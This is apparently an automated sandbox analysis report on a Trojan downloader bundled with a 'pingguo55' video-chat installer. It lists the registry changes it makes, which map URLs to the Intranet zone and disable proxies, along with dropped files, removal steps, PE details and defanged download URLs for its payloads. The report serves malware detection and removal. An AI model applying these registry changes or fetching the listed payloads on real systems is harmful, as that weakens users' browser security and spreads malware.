[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Æ»¹ûÊÓÆµÉçÇø-2014Beta3.6.2]
"UninstallString" = "%Program Files%\pingguo55\uninst.exe"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\pingguo55.exe]
"(Default)" = "%Program Files%\pingguo55\pingguo55.exe"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
[HKCR\CLSID\{13F896BE-CF0E-4D41-8C0E-D2A589AC3937}\MiscStatus]
"(Default)" = "0"
[HKCR\CLSID\{13F896BE-CF0E-4D41-8C0E-D2A589AC3937}\MiscStatus\1]
"(Default)" = "197009"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCR\CLSID\{13F896BE-CF0E-4D41-8C0E-D2A589AC3937}\InprocServer32]
"(Default)" = "C:\PROGRA~1\PINGGU~1\CHATRO~1.OCX"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\BaDu\Pcd]
"pcode" = "61 B8 F4 90 5F D6 3A F9 34 FA 67 9A 87 00 6E 81"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Æ»¹ûÊÓÆµÉçÇø-2014Beta3.6.2]
"URLInfoAbout" = "http://www.pingguo55.com"
"StartMenuDir" = "Æ»¹ûÊÓÆµÉçÇø"
[HKCR\Interface\{C43891FE-B7B4-4C2F-BC88-BE5D5E6A2A5F}\ProxyStubClsid]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"
The process ServiceClient.e:548 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "AA A2 F7 B7 63 A6 92 DC 6D 3D 8C 72 0A D7 8D E9"
The process %original file name%.exe:2040 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1D 00 00 00 01 00 00 00 00 00 00 00"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "26 FB D5 53 8C 02 3D C0 D5 8F 3F 90 45 98 2B C9"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
Proxy settings are disabled:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Trojan deletes the following value(s) in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
The process girlshow_22000025816.exe:2024 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1F 00 00 00 01 00 00 00 00 00 00 00"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "DA 1D 9F 83 D5 4B FF 1F 27 3A 28 80 45 77 E3 D8"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Program Files%\pingguo55\Install]
"pingguo.exe" = "pingguo"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
Proxy settings are disabled:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Trojan deletes the following value(s) in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
Dropped PE files
MD5 | File path |
---|---|
c4ade0ffabd2193dd204a3c6952873e7 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\girlshow_22000025816.exe |
HOSTS file anomalies
No changes have been detected.
Rootkit activity
No anomalies have been detected.
Propagation
Removals
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Terminate malicious process(es) (How to End a Process With the Task Manager):
ResideClient.exe:652
net1.exe:604
ServiceClient.exe:704
net.exe:516
pingguo.exe:304
ServiceClient.e:548
%original file name%.exe:2040
girlshow_22000025816.exe:2024 - Delete the original Trojan file.
- Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\All Users\Application Data\GuaGua\Service\service.dat (23 bytes)
%Documents and Settings%\Default User\Local Settings\Temp\Temppc.bak (96 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (1060 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@guagua[1].txt (194 bytes)
%WinDir%\msgpi.log (48 bytes)
%WinDir%\gsyspd.log (96 bytes)
%Program Files%\pingguo55\avutil-52.dll (8560 bytes)
%Program Files%\pingguo55\ChatRoom\Config.ini (51 bytes)
%Program Files%\pingguo55\RecommendInfo.dll (5064 bytes)
%Program Files%\pingguo55\UIToolTip.dll (5520 bytes)
%Program Files%\pingguo55\ChatRoom\CapSreen.dll (1856 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E6666.png (8184 bytes)
%Program Files%\pingguo55\ResideClient.exe (9608 bytes)
%Program Files%\pingguo55\ChatRoom\data\dice\3.png (5 bytes)
%Program Files%\pingguo55\ChatRoom\data\QueenLeave.wav (16424 bytes)
%Program Files%\pingguo55\RtpStack.DLL (8184 bytes)
%Program Files%\pingguo55\ServiceClient.exe (4992 bytes)
%Program Files%\pingguo55\ChatRoom\skin\VideoBack.bmp (6360 bytes)
%Program Files%\pingguo55\MFC71u.dll (33391 bytes)
%Program Files%\pingguo55\data\HTML\img\wrong.gif (995 bytes)
%Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Equip\goodscat.dat (11 bytes)
%Program Files%\pingguo55\GGOle.dll (2392 bytes)
%Program Files%\pingguo55\IconToolTip.exe (11048 bytes)
%Program Files%\pingguo55\ServiceClient.dll (3616 bytes)
%Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Res\rescate.dat (2 bytes)
%Program Files%\pingguo55\ChatRoom\skin\VideoBack_4_3.bmp (8560 bytes)
%Program Files%\pingguo55\ChatRoom\data\heaven_bk.gif (7192 bytes)
%Program Files%\pingguo55\ChatRoom\UIToolTip.dll (17848 bytes)
%Program Files%\pingguo55\Skin\LoadHtml\images\bj_2.jpg (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr3.tmp\GGExit.exe (1856 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E521.swf (784 bytes)
%Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Equip\EquipFile.dat (784 bytes)
%Program Files%\pingguo55\Skin\LoadHtml\css\style.css (1 bytes)
%Program Files%\pingguo55\ChatRoom\data\GiftWizzard_small.swf (5064 bytes)
%Program Files%\pingguo55\ChatRoom\data\dice\dice.gif (7 bytes)
%Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Equip\basegoodscat.dat (2 bytes)
%Program Files%\pingguo55\data\quickSign.swf (2392 bytes)
%Program Files%\pingguo55\ChatRoom\data\6.gif (14 bytes)
%Program Files%\pingguo55\ChatRoom\data\AudioEffect1.WAV (784 bytes)
%Program Files%\pingguo55\ChatRoom\data\4.gif (12 bytes)
%Program Files%\pingguo55\ChatRoom\data\10.gif (784 bytes)
%Program Files%\pingguo55\VideoCapture.dll (6360 bytes)
%Program Files%\pingguo55\data\HTML\img\lock_op.gif (1 bytes)
%Program Files%\pingguo55\Update.exe (9608 bytes)
%Program Files%\pingguo55\data\IllWord.dat (3 bytes)
%Program Files%\pingguo55\data\LgsDatacfg.dat (128 bytes)
%Program Files%\pingguo55\ChatRoom\data\FlowerData.dat (13 bytes)
%Program Files%\pingguo55\data\HTML\img\cc.png (2 bytes)
%Program Files%\pingguo55\uninst.exe (5659 bytes)
%Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Equip\goods.dat (30968 bytes)
%Program Files%\pingguo55\data\HTML\img\signloading_top.jpg (7 bytes)
%Program Files%\pingguo55\AudioCapture.dll (4992 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E188.png (6584 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E999.png (11048 bytes)
%Program Files%\pingguo55\ChatRoom\data\dice\1.png (4 bytes)
%Program Files%\pingguo55\Skin\DefFace.bmp (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr3.tmp\System.dll (10 bytes)
%Program Files%\pingguo55\ChatRoom\skin\gift_sel_icon.png (1 bytes)
%Program Files%\pingguo55\data\HTML\img\liebiao_di_on.gif (1 bytes)
%Program Files%\pingguo55\ImageScale.dll (8560 bytes)
%Program Files%\pingguo55\ChatRoom\data\11.gif (1552 bytes)
%Program Files%\pingguo55\Æ»¹ûÊÓÆµÉçÇø.url (50 bytes)
%Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Res\ResFile.dat (2392 bytes)
%Program Files%\pingguo55\data\HTML\img\lock_cl.gif (1 bytes)
%Program Files%\pingguo55\gdiplus.dll (49631 bytes)
%Program Files%\pingguo55\data\HTML\img\lock_op.png (3 bytes)
%Program Files%\pingguo55\ChatRoom\data\dice\6.png (6 bytes)
%Program Files%\pingguo55\ChatRoom\data\LuckyGift500.swf (5520 bytes)
%Program Files%\pingguo55\ChatRoom\data\2.gif (13 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E9999.xml (2 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E99.swf (784 bytes)
%Program Files%\pingguo55\msvcr71.dll (12088 bytes)
%Program Files%\pingguo55\Skin\Alarm.png (4 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E6666.swf (784 bytes)
%Program Files%\pingguo55\data\HTML\img\right.gif (540 bytes)
%Program Files%\pingguo55\VideoDecode2.dll (32824 bytes)
%Program Files%\pingguo55\data\HTML\img\button_left.gif (1 bytes)
%Program Files%\pingguo55\data\HTML\js\EvPng.js (8 bytes)
%Program Files%\pingguo55\Skin\MercuryEquipCenterSkin.ggs (15168 bytes)
%Program Files%\pingguo55\msvcp71.dll (16944 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E999.xml (2 bytes)
%Program Files%\pingguo55\ChatRoom\data\HitEggs.swf (42762 bytes)
%Program Files%\pingguo55\ChatRoom\VolumeCtrl.dll (5520 bytes)
%Program Files%\pingguo55\AudioDecodec3.dll (8560 bytes)
%Program Files%\pingguo55\ChatRoom\data\fingerGuessing\0.png (5 bytes)
%Program Files%\pingguo55\ChatRoom\skin\Alarm.png (4 bytes)
%Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Equip\basegoods.dat (23296 bytes)
%Program Files%\pingguo55\Skin\DefFace_21.bmp (1 bytes)
%Program Files%\pingguo55\ChatRoom\data\SignButton.gif (784 bytes)
%Program Files%\pingguo55\ChatRoom\skin\DefFace.bmp (3 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E9999.swf (784 bytes)
%Program Files%\pingguo55\ChatRoom\data\5.gif (13 bytes)
%Program Files%\pingguo55\VideoEncode2.dll (19152 bytes)
%Program Files%\pingguo55\ChatRoom\skin\PointToPoint.bmp (8560 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E99.png (3312 bytes)
%Program Files%\pingguo55\ChatRoom\VcrMediaLib.dll (11048 bytes)
%Program Files%\pingguo55\Skin\MercuryUpdateSkin.ggs (10 bytes)
%Program Files%\pingguo55\ChatRoom\data\bigred.swf (6584 bytes)
%Program Files%\pingguo55\GGPlayerInstaller.exe (1552 bytes)
%Program Files%\pingguo55\ChatRoom\data\GiftWizzard_big.swf (5520 bytes)
%Program Files%\pingguo55\ChatRoom\data\fingerGuessing\fingerguessing.gif (7 bytes)
%Program Files%\pingguo55\Skin\default_female.png (15 bytes)
%Program Files%\pingguo55\Skin\MercuryChatHallSkin.ggs (247423 bytes)
%Program Files%\pingguo55\Skin\LoadHtml\images\jx_sm.gif (381 bytes)
%Program Files%\pingguo55\ChatRoom\skin\MercuryChatRoom.ggs (147801 bytes)
%Program Files%\pingguo55\ggplayerDownload.ini (63 bytes)
%Program Files%\pingguo55\data\Update.dat (81 bytes)
%Program Files%\pingguo55\Skin\VideoBack.bmp (6360 bytes)
%Program Files%\pingguo55\ChatRoom\skin\worldBugleIcon.gif (784 bytes)
%Program Files%\pingguo55\data\CommonConfig.ini (458 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\flash.swf (3616 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E9999.png (12024 bytes)
%Program Files%\pingguo55\ChatRoom\skin\VideoBackMercury.bmp (2392 bytes)
%Program Files%\pingguo55\data\HTML\img\liebiao_di.gif (1 bytes)
%Program Files%\pingguo55\ChatRoom\skin\gift_del_icon.png (1 bytes)
%Program Files%\pingguo55\ChatRoom\data\fingerGuessing\2.png (5 bytes)
%Program Files%\pingguo55\ChatRoom\data\QueenEnter.wav (21216 bytes)
%Program Files%\pingguo55\data\HTML\css\news.css (2 bytes)
%Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Res\res.dat (3312 bytes)
%Program Files%\pingguo55\EncWmv.dll (8184 bytes)
%Program Files%\pingguo55\data\HTML\img\signloading_main.jpg (784 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E999.swf (784 bytes)
%Program Files%\pingguo55\ChatRoom\data\7.gif (15 bytes)
%Program Files%\pingguo55\Pingguo55.exe (71670 bytes)
%Program Files%\pingguo55\ChatRoom\data\KingLeave.wav (19152 bytes)
%Program Files%\pingguo55\Skin\LoadHtml\jz_bbx.html (450 bytes)
%Program Files%\pingguo55\ChatRoom\skin\PrivteMic.bmp (4992 bytes)
%Program Files%\pingguo55\data\common.dat (24 bytes)
%Program Files%\pingguo55\data\HTML\img\aa.png (3 bytes)
%Program Files%\pingguo55\ChatRoom\ChatRoomClient.dll (10136 bytes)
%Documents and Settings%\%current user%\Desktop\Æ»¹ûÊÓÆµÉçÇø.lnk (762 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E99.xml (2 bytes)
%Program Files%\pingguo55\ChatRoom\ChatRoomUI.dll (72992 bytes)
%Program Files%\pingguo55\data\HTML\img\button.png (3 bytes)
%Program Files%\pingguo55\ChatRoomUI.ocx (1552 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Æ»¹ûÊÓÆµÉçÇø\öÃâ€ÂØÆ»¹ûÊÓÆµÉçÇø.lnk (581 bytes)
%Program Files%\pingguo55\ChatRoom\data\3.gif (784 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E521.xml (2 bytes)
%Program Files%\pingguo55\ChatRoom\data\fingerGuessing\1.png (5 bytes)
%Program Files%\pingguo55\data\Spread.dat (112 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Æ»¹ûÊÓÆµÉçÇø\Æ»¹ûÊÓÆµÉçÇø.lnk (774 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E521.png (6584 bytes)
%Program Files%\pingguo55\data\HTML\signloading.html (1 bytes)
%Program Files%\pingguo55\data\HTML\img\no_pic.jpg (1552 bytes)
%Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Res\resfileinfo.dat (16288 bytes)
%Program Files%\pingguo55\data\HTML\img\bb.png (2 bytes)
%Program Files%\pingguo55\Skin\default_male.png (15 bytes)
%Program Files%\pingguo55\ChatRoom\data\smallred.swf (5064 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E188.xml (1 bytes)
%Program Files%\pingguo55\ChatRoom\data\dice\5.png (5 bytes)
%Program Files%\pingguo55\ChatRoom\data\dice\4.png (5 bytes)
%Program Files%\pingguo55\ChatRoom\skin\VideoBack_16_9.bmp (8560 bytes)
%Program Files%\pingguo55\data\FlowerData.dat (13 bytes)
%Program Files%\pingguo55\DnsSession.dll (8560 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb2.tmp (918876 bytes)
%Program Files%\pingguo55\ChatRoom\data\1.gif (784 bytes)
%Program Files%\pingguo55\ChatRoom\data\dice\2.png (4 bytes)
%Program Files%\pingguo55\ResCenter.dll (5520 bytes)
%Program Files%\pingguo55\ChatRoom\data\QuickRegBorder.swf (1 bytes)
%Program Files%\pingguo55\crashreport.dll (8560 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E1314.png (8560 bytes)
%Program Files%\pingguo55\ChatRoom\data\8.gif (2392 bytes)
%Program Files%\pingguo55\ChatRoom\data\9.gif (784 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E6666.xml (2 bytes)
%Program Files%\pingguo55\Install.ini (287 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E188.swf (784 bytes)
%Program Files%\pingguo55\AudioCodec3.dll (10136 bytes)
%Program Files%\pingguo55\Config.ini (67 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E1314.swf (784 bytes)
%Program Files%\pingguo55\ChatRoom\data\GiftPack.swf (784 bytes)
%Program Files%\pingguo55\data\HTML\img\freeze.gif (615 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\FlashShow.exe (5520 bytes)
%Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Res\resillegalword.dat (920 bytes)
%Program Files%\pingguo55\ChatRoom\data\KingEnter.wav (25824 bytes)
%Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Equip\basegoodsfileinfo.dat (23424 bytes)
%Program Files%\pingguo55\EquipCenter.dll (23424 bytes)
%Program Files%\pingguo55\data\HTML\img\lock_cl.png (3 bytes)
%Program Files%\pingguo55\data\addrs.dat (784 bytes)
%Program Files%\pingguo55\ChatRoom\skin\runway_gift.gif (4 bytes)
%Program Files%\pingguo55\Skin\DefSendedStarGift.gif (1 bytes)
%Program Files%\pingguo55\Skin\LoadHtml\images\jz_icon.gif (821 bytes)
%Program Files%\pingguo55\data\HTML\img\close.gif (395 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E1314.xml (2 bytes)
%Program Files%\pingguo55\Skin\DefFace_16.bmp (824 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@re58[1].txt (604 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\z.ico (3 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@re58[2].txt (277 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Browser_V4.1.4627.19_r_4509_(Build150408)_1428944402.exe (28288 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\girlshow_22000025816.exe (33391 bytes)
%Program Files%\pingguo55\Install\pingguo.exe.ggd (471123 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@pingguo55[1].txt (200 bytes)
%Program Files%\pingguo55\Install\pingguo.exe.ggb (905907 bytes) - Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Static Analysis
VersionInfo
Company Name:
Product Name: Client ????
Product Version: 1, 0, 0, 1
Legal Copyright: ???? (C) 2015
Legal Trademarks:
Original Filename: Client.EXE
Internal Name: Client
File Version: 1, 0, 0, 1
File Description: Client
Comments:
Language: English (United States)
Company Name: Product Name: Client ????Product Version: 1, 0, 0, 1Legal Copyright: ???? (C) 2015Legal Trademarks: Original Filename: Client.EXEInternal Name: ClientFile Version: 1, 0, 0, 1File Description: ClientComments: Language: English (United States)
PE Sections
Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
---|---|---|---|---|---|
.text | 4096 | 26366 | 28672 | 4.3134 | 655efe067d319de62776be6d50a80e36 |
.rdata | 32768 | 6398 | 8192 | 2.83794 | a3f51aa89124eda1a6fc6391555d4d12 |
.data | 40960 | 1280 | 4096 | 1.25368 | c66704c110f453d23bd9c04fe961823f |
.rsrc | 45056 | 1294336 | 1294336 | 5.33378 | 15fc8ef72021402ef0f2b1ecf280e82a |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Network Activity
URLs
URL | IP |
---|---|
hxxp://qiniunor.xdwscache.glb0.lxdns.com/z.ico?832187 | |
hxxp://newplay.aliapp.com/Count/Index | 42.120.217.94 |
hxxp://qiniunor.xdwscache.glb0.lxdns.com/tc.html | |
hxxp://all.cnzz.com.danuoyi.tbcache.com/stat.php?id=5887135&web_id=5887135 | |
hxxp://1st.ecoma.glb0.lxdns.com/c/girlshow_22000025816.exe | |
hxxp://oz.cnzz.com/stat.htm?id=5887135&r=&lg=en-us&ntime=none&cnzz_eid=1987065364-1430088506-&showp=1276x846&t=&h=1&rnd=1967005646 | 198.11.132.200 |
hxxp://all.cnzz.com.danuoyi.tbcache.com/core.php?web_id=5887135&t=z | |
hxxp://xnop027.tlgslb.com/re58/girlshow_22000025816.exe | |
hxxp://js.users.51.la/17440728.js | 222.187.225.125 |
hxxp://cnzz.mmstat.com/9.gif?abc=1&rnd=1462919078 | 42.120.219.171 |
hxxp://int.dpool.sina.com.cn/iplookup/iplookup.php?format=js | 180.149.136.219 |
hxxp://cnzz.mmstat.com/app.gif?&cna=PFnEDULM8goCAcGK9OdbedDL | 42.120.219.171 |
hxxp://newplay.aliapp.com/Count/Index/soft/ | 42.120.217.94 |
hxxp://1st.ecoma.glb0.lxdns.com/downcontainer/downLoad.do | |
hxxp://1st.ecoma.glb0.lxdns.com/downcontainer/downLoadInfo.do?oemID=0&recid=22000025816 | |
hxxp://gnop008.tlgslb.com/down/4509/Browser_V4.1.4627.19_r_4509_(Build150408)_1428944402.exe | |
hxxp://cj.pingguo55.com/downloader/start?dlver=G1.0.0&pname=pingguo&pver=32&cmdtype=1&cmdid=22000025816&ad=0&oemid=0&fromurl=&webid=badu_13034453_1430087393 | 115.231.176.253 |
hxxp://img001.com/business/5/pingguo.exe | 36.250.9.8 |
hxxp://img001.com/tg_pic/lunbo1.png | 36.250.9.8 |
hxxp://cj.pingguo55.com/downloader/startdown?dlver=G1.0.0&pname=pingguo&pver=32&cmdtype=1&cmdid=22000025816&ad=0&oemid=0&fromurl=&webid=badu_13034453_1430087393 | 115.231.176.253 |
hxxp://img001.com/tg_pic/mobo.png | 36.250.9.8 |
hxxp://c.cnzz.com/core.php?web_id=5887135&t=z | 195.27.31.246 |
hxxp://umcdn.uc.cn/down/4509/Browser_V4.1.4627.19_r_4509_(Build150408)_1428944402.exe | 116.10.187.112 |
hxxp://pcookie.cnzz.com/app.gif?&cna=PFnEDULM8goCAcGK9OdbedDL | 42.120.219.171 |
hxxp://download.re58.cn/c/girlshow_22000025816.exe | 203.130.61.92 |
hxxp://dl.ntfst.cn/tc.html | 183.136.217.66 |
hxxp://downloader.re58.cn/downcontainer/downLoad.do | 203.130.61.92 |
hxxp://c.img001.com/re58/girlshow_22000025816.exe | 112.67.255.202 |
hxxp://dl.jmfo.cn/z.ico?832187 | 183.136.217.66 |
